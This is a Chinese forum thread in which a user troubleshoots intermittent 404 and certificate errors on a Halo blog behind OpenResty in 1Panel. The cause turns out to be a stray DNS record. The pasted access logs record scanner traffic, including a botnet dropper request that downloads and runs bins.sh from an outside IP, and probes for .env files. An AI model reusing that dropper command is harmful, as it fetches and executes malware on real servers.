OpenResty新增Halo网站并配置域名+SSL后，经常报错404，奇怪的抽风现象

1Panel
1

请大佬帮忙看看， 我打算搞个小博客，细雨社 偶尔能正常访问，偶尔抽风404。

一、奇怪现象如下：
1、使用IP+端口能访问，说明网站本身服务正常 http://39.96.179.121:8080/
2、使用域名xiyu.love时，网站要么彻底访问不了，换浏览器、换手机网络测试都不行，要么轮流抽风
3、电脑浏览器edge 138版本能访问时，手机浏览器就打不开（电脑、手机都在同一个路由器下）

下图为究极混乱版本，就是同一时间、同网络下，使用域名访问时，电脑浏览器、无痕模式、手机浏览器这三者中，至少有一个是打不开的。电脑浏览器如果能打开，手机就能打不开、切换到流量也一样。

image
image1920×1338 182 KB

过个十几分钟（目前测试遇到过的最小间隔）开始轮流抽风，要么net::ERR_CERT_AUTHORITY_INVALID，要么就是404 Not Found。

二、具体配置如下：
买的阿里云2C2G的轻量云服务器，做了如下配置：
1、安装了1panel 2.0.4社区版，然后mysql 8.4.5，然后Halo 2.21.3建站，全用的最新版。
2、在openresty 版本1.27.1.2-2-1-focal 里创建了一键部署的网站，具体配置如下

image
image1167×500 110 KB

配置了80端口访问域名
image
image1138×1203 201 KB

证书是阿里云申请的3个月版本、到10月才到期。
image
image1703×810 111 KB

看了论坛帖子，好多说让设置默认站点，但我这实测设了一样抽风，不设时偶尔还能正常访问域名。
image
在删除证书、去掉网站HTTPS后 ，想重新设置HTTPS、保存默认网站时会报错，按照路径/usr/local/openresty/去找文件时却找不到 ，local下没有openresty文件夹，显示了隐藏文件夹。
image
image1936×261 105 KB

三、相关日志
1、openresty

1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 1#1: start worker processes
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 1#1: start worker process 375
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 1#1: start worker process 376
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 361#361: gracefully shutting down
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 362#362: gracefully shutting down
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 361#361: exiting
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 362#362: exiting
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 1#1: signal 17 (SIGCHLD) received from 361
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 1#1: worker process 361 exited with code 0
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 1#1: signal 29 (SIGIO) received
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 1#1: signal 17 (SIGCHLD) received from 362
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 1#1: worker process 362 exited with code 0
1Panel-openresty-43Nq  | 2025/07/22 20:00:25 [notice] 1#1: signal 29 (SIGIO) received
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: signal 3 (SIGQUIT) received, shutting down
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 375#375: gracefully shutting down
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 375#375: exiting
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 376#376: gracefully shutting down
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 376#376: exiting
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: signal 17 (SIGCHLD) received from 375
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: worker process 375 exited with code 0
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: worker process 376 exited with code 0
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: exit
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: [lua] config.lua:136: ini_waf_info(): Load 1Panel WAF Version:2.0
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: using the "epoll" event method
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: openresty/1.27.1.21Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: built by gcc 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2) 
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: OS: Linux 5.10.134-18.al8.x86_64
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: start worker processes
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: start worker process 6
1Panel-openresty-43Nq  | 2025/07/22 20:00:36 [notice] 1#1: start worker process 7

2、Halo日志

1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T13:45:31.777+08:00  WARN 7 --- [or-http-epoll-2] r.n.http.server.HttpServerOperations     : [0ebb3b1e, L:/172.18.0.3:8090 - R:/178.159.37.70:64756]178.159.37.70:64756] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: text is empty (possibly HTTP/0.9)), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T14:49:27.433+08:00  WARN 7 --- [or-http-epoll-2] r.n.http.server.HttpServerOperations     : [fe3ff4b0, L:/172.18.0.3:8090 - R:/43.247.4.40:43530]43.247.4.40:43530] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: text is empty (possibly HTTP/0.9)), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T16:59:03.329+08:00  WARN 7 --- [or-http-epoll-3] r.n.http.server.HttpServerOperations     : [5d246d6a, L:/172.18.0.3:8090 - R:/65.49.1.80:60334]65.49.1.80:60334] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: text is empty (possibly HTTP/0.9)), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:12:10.962+08:00  WARN 7 --- [or-http-epoll-4] r.n.http.server.HttpServerOperations     : [d1ea8035, L:/172.18.0.3:8090 - R:/143.198.32.240:53848]143.198.32.240:53848] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: invalid version format: ÀÀ), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:12:11.587+08:00  WARN 7 --- [or-http-epoll-1] r.n.http.server.HttpServerOperations     : [04830f76, L:/172.18.0.3:8090 - R:/143.198.32.240:53864]143.198.32.240:53864] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: invalid version format: ÀÀ), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:27:14.095+08:00  WARN 7 --- [or-http-epoll-1] r.n.http.server.HttpServerOperations     : [0d83a666, L:/172.18.0.3:8090 - R:/43.247.4.40:49264]43.247.4.40:49264] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: text is empty (possibly HTTP/0.9)), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:56:56.932+08:00  WARN 7 --- [or-http-epoll-4] r.n.http.server.HttpServerOperations     : [7b82ef43, L:/172.18.0.3:8090 - R:/36.5.188.224:35714]36.5.188.224:35714] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: invalid version format: ƘC¶•»¢ÊPee¸§ÌœÍ¿¡Ã	U), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:56:57.186+08:00  WARN 7 --- [or-http-epoll-1] r.n.http.server.HttpServerOperations     : [9710d2b0, L:/172.18.0.3:8090 - R:/36.5.188.224:35716]36.5.188.224:35716] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: invalid version format: Μ FX£Ø;Ú;٠ЧH«¶•5M%Y
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:57:35.333+08:00  WARN 7 --- [or-http-epoll-4] r.n.http.server.HttpServerOperations     : [a1d4efa8, L:/172.18.0.3:8090 - R:/36.5.188.224:35732]36.5.188.224:35732] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: Illegal character in request line: 0x19), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:57:56.436+08:00  WARN 7 --- [or-http-epoll-1] r.n.http.server.HttpServerOperations     : [dba6048a, L:/172.18.0.3:8090 - R:/36.5.188.224:35739]36.5.188.224:35739] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: Illegal character in request line: 0x0), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:58:40.112+08:00  WARN 7 --- [or-http-epoll-1] r.n.http.server.HttpServerOperations     : [7d96a086, L:/172.18.0.3:8090 - R:/36.5.188.224:35757]36.5.188.224:35757] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: Illegal character in request line: 0x0), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:58:40.363+08:00  WARN 7 --- [or-http-epoll-2] r.n.http.server.HttpServerOperations     : [1c1f2fa3, L:/172.18.0.3:8090 - R:/36.5.188.224:35759]36.5.188.224:35759] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: invalid version format: ÊÊÀ+À/À,À0̨̩ÀÀœ/5…::Ÿ3ÏÍÚÚÌÀ†³S0—SVÙL…R¹ZMœV‚ÅÖÊN’UØA
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:59:01.227+08:00  WARN 7 --- [or-http-epoll-1] r.n.http.server.HttpServerOperations     : [16d530a3, L:/172.18.0.3:8090 - R:/36.5.188.224:35762]36.5.188.224:35762] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: invalid version format: 4ÑÏFËҋP#$}›S”RZ|Q;NԔ[È ŠŠÀ+À/À,À0̨̩ÀÀœ/5EJJ	XIYU.LOVEŸH2HTTP/1.13ÏÍ**ÌÀÍÚ\ÇA¨:Q(—¨Ë÷ÂÕÃJ[ÅÏ)¨.œ[VIÄ͹—Ã4&S3.°GX"­'¥Û,`), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T18:59:01.492+08:00  WARN 7 --- [or-http-epoll-2] r.n.http.server.HttpServerOperations     : [c61a1cd5, L:/172.18.0.3:8090 - R:/36.5.188.224:35763]36.5.188.224:35763] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: invalid version format: JJÀ+À/À,À0̨̩ÀÀœ/5…), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
1Panel-halo-LIWO  | 2025-07-22T20:18:03.874+08:00  WARN 7 --- [or-http-epoll-4] r.n.http.server.HttpServerOperations     : [2b2006eb, L:/172.18.0.3:8090 - R:/111.33.154.219:43952]111.33.154.219:43952] Decoding failed: FULL_REQUEST(decodeResult: failure(java.lang.IllegalArgumentException: text is empty (possibly HTTP/0.9)), version: HTTP/1.0, content: UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf(ridx: 0, widx: 0, cap: 0))
1Panel-halo-LIWO  | GET /bad-request HTTP/1.0
2

你的域名是不是走了类似 cloudflare 的代理 :grinning:
我挂了:ladder:访问完全没问题。目测 404 的时候，就是国内访问不了这个代理节点

3

补充情况：
1、开始怀疑是waf的原因，但关闭waf后仍然抽风

image
image1926×430 35.5 KB

image
image1896×336 31.7 KB

2、7月23日上午抽风现象，正好多了一个变量做验证。
不知道是谁把www.doupin.cn域名解析到了我服务器IP，当然会报错证书与域名不符，但居然也能访问。而此时我用自己域名xiyu.love，在A电脑浏览器里打不开，在远程电脑B浏览器里就能打开，同时在手机浏览器里就打不开。

image
image1920×1159 167 KB

3、清了浏览器缓存也不管用，感觉像是终端被屏蔽了一会又放出来了似的。

第一次用1panel建站，还请指点排查思路

补充截至7月23日10点18分的最新日志如下：
1、OpenResty

2025/07/22 20:00:36 [notice] 1#1: exit
2025/07/22 20:00:36 [notice] 1#1: [lua] config.lua:136: ini_waf_info(): Load 1Panel WAF Version:2.0
2025/07/22 20:00:36 [notice] 1#1: using the "epoll" event method
2025/07/22 20:00:36 [notice] 1#1: openresty/1.27.1.22025/07/22 20:00:36 [notice] 1#1: built by gcc 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2) 
2025/07/22 20:00:36 [notice] 1#1: OS: Linux 5.10.134-18.al8.x86_64
2025/07/22 20:00:36 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576
2025/07/22 20:00:36 [notice] 1#1: start worker processes
2025/07/22 20:00:36 [notice] 1#1: start worker process 6
2025/07/22 20:00:36 [notice] 1#1: start worker process 7
2025/07/23 08:46:20 [notice] 1#1: signal 1 (SIGHUP) received from 49, reconfiguring
2025/07/23 08:46:20 [notice] 1#1: reconfiguring
2025/07/23 08:46:20 [notice] 1#1: [lua] config.lua:136: ini_waf_info(): Load 1Panel WAF Version:2.0
2025/07/23 08:46:20 [notice] 1#1: using the "epoll" event method
2025/07/23 08:46:20 [notice] 1#1: start worker processes
2025/07/23 08:46:20 [notice] 1#1: start worker process 55
2025/07/23 08:46:20 [notice] 1#1: start worker process 56
2025/07/23 08:46:20 [notice] 7#7: gracefully shutting down
2025/07/23 08:46:20 [notice] 6#6: gracefully shutting down
2025/07/23 08:46:20 [notice] 6#6: exiting
2025/07/23 08:46:20 [notice] 1#1: signal 17 (SIGCHLD) received from 6
2025/07/23 08:46:20 [notice] 1#1: worker process 6 exited with code 0
2025/07/23 08:46:20 [notice] 1#1: signal 29 (SIGIO) received
2025/07/23 08:46:21 [notice] 7#7: exiting
2025/07/23 08:46:21 [notice] 1#1: signal 17 (SIGCHLD) received from 7
2025/07/23 08:46:21 [notice] 1#1: worker process 7 exited with code 0
2025/07/23 08:46:21 [notice] 1#1: signal 29 (SIGIO) received

2、xiyu.love网站日志

20.40.218.197 - - [23/Jul/2025:03:05:54 +0800] "GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1" 404 268 "-" "Mozilla/5.0 zgrab/0.x" "-"
113.215.188.184 - - [23/Jul/2025:03:10:59 +0800] "GET / HTTP/1.1" 301 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.2157.51 Safari/537.36" "-"
113.215.188.184 - - [23/Jul/2025:03:11:00 +0800] "GET / HTTP/1.1" 200 5087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.2157.51 Safari/537.36" "-"
113.215.188.184 - - [23/Jul/2025:03:11:00 +0800] "GET / HTTP/1.1" 200 5087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.8421.180 Safari/537.36" "-"
113.215.188.184 - - [23/Jul/2025:03:11:00 +0800] "GET /favicon.ico HTTP/1.1" 404 214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.8421.180 Safari/537.36" "-"
204.76.203.219 - - [23/Jul/2025:03:13:44 +0800] "GET / HTTP/1.1" 301 166 "-" "curl/7.81.0" "-"
149.50.103.48 - - [23/Jul/2025:03:23:49 +0800] "GET / HTTP/1.1" 301 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
80.75.212.17 - - [23/Jul/2025:03:24:53 +0800] "CONNECT httpbin.org:443 HTTP/1.1" 400 154 "-" "-" "-"
113.215.188.184 - - [23/Jul/2025:03:30:27 +0800] "GET / HTTP/1.1" 301 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4741.120 Safari/537.36" "-"
113.215.188.184 - - [23/Jul/2025:03:30:27 +0800] "GET / HTTP/1.1" 200 5087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4741.120 Safari/537.36" "-"
113.215.188.184 - - [23/Jul/2025:03:30:29 +0800] "GET / HTTP/1.1" 200 5087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.9444.23 Safari/537.36" "-"
113.215.188.184 - - [23/Jul/2025:03:30:29 +0800] "GET /favicon.ico HTTP/1.1" 404 214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.9444.23 Safari/537.36" "-"
204.76.203.219 - - [23/Jul/2025:03:31:00 +0800] "GET / HTTP/1.1" 301 166 "-" "curl/7.81.0" "-"
23.27.145.1 - - [23/Jul/2025:03:33:13 +0800] "GET / HTTP/1.1" 200 5082 "-" "Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0" "-"
170.106.152.218 - - [23/Jul/2025:03:34:09 +0800] "GET / HTTP/1.1" 301 166 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "-"
170.106.152.218 - - [23/Jul/2025:03:34:11 +0800] "GET / HTTP/1.1" 200 5082 "http://39.96.179.121" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "-"
45.83.31.49 - - [23/Jul/2025:03:36:24 +0800] "GET /.env HTTP/1.1" 301 166 "-" "python-requests/2.32.4" "-"
204.76.203.219 - - [23/Jul/2025:03:37:09 +0800] "GET / HTTP/1.1" 301 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
206.206.125.115 - - [23/Jul/2025:03:37:42 +0800] "GET /shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+arm7;wget+http:/\x5C/134.209.205.88:9999/bins.sh;chmod+777+bins.sh;sh+bins.sh;wget+http:/\x5C/134.209.205.88:9999/bins.sh;chmod+777+bins.sh;sh+bins.sh134.209.205.88:9999/bins.sh;chmod+777+bins.sh;sh+bins.sh HTTP/1.1" 301 166 "-" "KrebsOnSecurity" "-"
113.215.188.184 - - [23/Jul/2025:03:41:14 +0800] "GET / HTTP/1.1" 301 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.9540.64 Safari/537.36" "-"
113.215.188.184 - - [23/Jul/2025:03:41:16 +0800] "GET / HTTP/1.1" 200 5087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.9540.64 Safari/537.36" "-"
113.215.188.184 - - [23/Jul/2025:03:41:18 +0800] "GET / HTTP/1.1" 200 5087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.2108.116 Safari/537.36" "-"
113.215.188.184 - - [23/Jul/2025:03:41:20 +0800] "GET /favicon.ico HTTP/1.1" 404 214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.2108.116 Safari/537.36" "-"
45.153.34.21 - - [23/Jul/2025:03:42:31 +0800] "GET /shell?killall+-9+arm7;killall+-9+arm4;killall+-9+arm;killall+-9+/bin/sh;killall+-9+/bin/sh;killall+-9+/z/bin;killall+-9+/bin/bash;cd+/tmp;rm+arm4+arm7;wget+http:/\x5C/134.209.205.88:9999/bins.sh;chmod+777+bins.sh;sh+bins.sh;wget+http:/\x5C/134.209.205.88:9999/bins.sh;chmod+777+bins.sh;sh+bins.sh134.209.205.88:9999/bins.sh;chmod+777+bins.sh;sh+bins.sh HTTP/1.1" 301 166 "-" "KrebsOnSecurity" "-"
45.194.66.8 - - [23/Jul/2025:03:48:23 +0800] "GET / HTTP/1.1" 301 166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.

3、xiyu.love错误日志

image
image3264×744 259 KB

4

我的回复你是一点不看 :rofl:，别人域名直接解析到你的 Ip 当然没问题。
但是你看看你自己的域名解析过来是什么 ip，所以说你是不是自己套了一层代理，关掉这一层，访问肯定也不会有问题的

image
image1496×960 127 KB

5

远程的电脑就这回帖的5分钟，IP又变了，而且即使IP变回39开头的也无法访问

image
image1694×1488 339 KB

用自己电脑，两种浏览模式都打不开，应该不算缓存影响吧。奇怪的是手机反而能打开了 :joy:

image
image1506×853 98.2 KB

6

感谢大佬点播，让我豁然开朗，有没有挂代理我要找人求证，域名是朋友帮忙搞的。上面补充的内容其实很早就发了、等版主审核完成发出来的时间就显示晚了，不是不看你的回复哈。

测试了下果然有问题，两个电脑ping到的结果ip不同，如果时8开头的ip，就无法访问，验证如下：

image
image1912×930 245 KB

继续请教，你说的 cloudflare 的代理 是什么机制？ 他会随机切换IP吗？查了下8开头的也是阿里云下的先刚刚的IP。

image
image729×246 8.76 KB

7

你就问你朋友为什么域名解析出来不是你的服务器 IP 就行了，你朋友应该懂得

1 个赞
9

好的，有进展我来报告。
还想请教下路径的问题。在面板里按/usr/local/openresty/去找文件时却找不到 ，但报错里有提到，该怎么办？

image
image1486×326 122 KB

local下没有openresty文件夹：
image
image1212×1462 101 KB

10

你得去 openresty 的容器里面找

11

麻烦大佬动手给点截图提示，或者描述下入口、步骤。我头一次用面板，对linux命令纯小白，不知道门在哪 :sweat_smile:

12

不要管前面的路径是不是/usr/local/openresty/xxx，但是你的报错的 conf 文件夹就是截图中的第二点框出来的 conf 文件夹

image
image2318×1180 370 KB

13

谢谢，找到了文件，我先琢磨下怎么改

14

报告，域名解析的问题找到了，是朋友在阿里云控制台多配置了一条@记录，删掉了就可以了。
另外请教，别人把www.doupin.cn域名解析到我服务器，我该怎么防御应对？请大佬指导下怎么改配置面板

15

试下这个配置呢，我没用过，我也不太清楚

image
image2876×1058 279 KB

16

我测试出来啦哈哈哈哈，在对应网站的配置文件里加了一段判断的代码，就可以了，现在其他域名是访问不到了

image
image1152×666 86.3 KB 

    if ($host !~* "^(www\.)?xiyu\.love$") {
        return 444;  # 静默关闭连接‌
    }

目前网站访问稳定多了，开心撒花，谢谢大佬支持